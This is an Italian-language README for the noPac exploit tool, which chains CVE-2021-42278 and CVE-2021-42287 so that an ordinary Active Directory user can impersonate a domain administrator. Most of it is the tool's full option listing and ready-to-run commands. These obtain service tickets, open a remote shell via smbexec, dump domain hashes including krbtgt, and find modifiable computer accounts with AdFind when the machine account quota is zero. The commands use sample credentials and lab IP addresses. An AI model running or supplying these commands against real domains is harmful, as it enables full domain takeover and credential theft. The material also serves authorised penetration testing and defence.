Informazioni

Sfruttamento di CVE-2021-42278 e CVE-2021-42287 per impersonare DA da un utente di dominio standard

Utilizzo

SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain

positional arguments:
  [domain/]username[:password]
                        Account used to authenticate to DC.

options:
  -h, --help            show this help message and exit
  --impersonate IMPERSONATE
                        target username that will be impersonated (thru S4U2Self) for quering the ST. Keep in mind this will only work if the identity provided in this scripts is allowed for delegation to
                        the SPN specified
  -domain-netbios NETBIOSNAME
                        Domain NetBIOS name. Required if the DC has multiple domains.
  -target-name NEWNAME  Target computer name, if not specified, will be random generated.
  -new-pass PASSWORD    Add new computer password, if not specified, will be random generated.
  -old-pass PASSWORD    Target computer password, use if you know the password of the target you input with -target-name.
  -old-hash LMHASH:NTHASH
                        Target computer hashes, use if you know the hash of the target you input with -target-name.
  -debug                Turn DEBUG output ON
  -ts                   Adds timestamp to every logging output
  -shell                Drop a shell via smbexec
  -no-add               Forcibly change the password of the target computer.
  -create-child         Current account have permission to CreateChild.
  -dump                 Dump Hashs via secretsdump
  -spn SPN              Specify the SPN for the ticket (Default: cifs)
  -use-ldap             Use LDAP instead of LDAPS

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on account parameters. If valid credentials cannot be found, it will use the ones specified in the
                        command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)
  -dc-host hostname     Hostname of the domain controller to use. If ommited, the domain part (FQDN) specified in the account parameter will be used
  -dc-ip ip             IP of the domain controller to use. Useful if you can't translate the FQDN.specified in the account parameter will be used

execute options:
  -port [destination port]
                        Destination port to connect to SMB Server
  -mode {SHARE,SERVER}  mode to use (default SHARE, SERVER needs root!)
  -share SHARE          share where the output will be grabbed from (default ADMIN$)
  -shell-type {cmd,powershell}
                        choose a command processor for the semi-interactive shell
  -codec CODEC          Sets encoding used (codec) from the target's output (default "GBK").
  -service-name service_name
                        The name of theservice used to trigger the payload

dump options:
  -just-dc-user USERNAME
                        Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. Implies also -just-dc switch
  -just-dc              Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)
  -just-dc-ntlm         Extract only NTDS.DIT data (NTLM hashes only)
  -pwd-last-set         Shows pwdLastSet attribute for each NTDS.DIT account. Doesn't apply to -outputfile data
  -user-status          Display whether or not the user is disabled
  -history              Dump password history, and LSA secrets OldVal
  -resumefile RESUMEFILE
                        resume file name to resume NTDS.DIT session dump (only available to DRSUAPI approach). This file will also be used to keep updating the session's state
  -use-vss              Use the VSS method insead of default DRSUAPI
  -exec-method [{smbexec,wmiexec,mmcexec}]
                        Remote exec method to use at target (only when using -use-vss). Default: smbexec

Nota: Se -host-name non è specificato, lo strumento otterrà automaticamente il nome host del controller di dominio; si prega di selezionare il nome host del sistema specificato da -dc-ip. Se --impersonate non è specificato, lo strumento sceglierà casualmente un amministratore di dominio da sfruttare. Usa ldaps per impostazione predefinita; se ottieni un errore SSL, prova ad aggiungere -use-ldap.

GetST

python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203

Ottieni shell automaticamente

python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 -shell --impersonate administrator

Dump hash

python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 --impersonate administrator -dump
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 --impersonate administrator -dump -just-dc-user cgdomain/krbtgt

Scanner

python scanner.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203

MAQ = 0

Metodo 1

Trova il computer che può essere modificato dall'utente corrente.

AdFind.exe -sc getacls -sddlfilter ;;"[WRT PROP]";;computer;domain\user  -recmute

Exp: aggiungi -no-add e target con -target-name.

python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.200 -dc-host dc2008 --impersonate administrator -no-add -target-name DomainWin7$ -old-hash :2a99c4a3bd5d30fc94f22bf7403ceb1a -shell

Attenzione!! Non modificare la password del computer nel dominio tramite ldaps o samr, potrebbe rompere la relazione di trust tra il computer e il dominio principale!!

Metodo 2

Trova l'account CreateChild e usa quell'account per sfruttare la vulnerabilità.

AdFind.exe -sc getacls -sddlfilter ;;"[CR CHILD]";;computer; -recmute

Exp: aggiungi -create-child

python noPac.py cgdomain.com/venus:'1qaz@WSX' -dc-ip 10.211.55.200 -dc-host dc2008 --impersonate administrator -create-child

noPac

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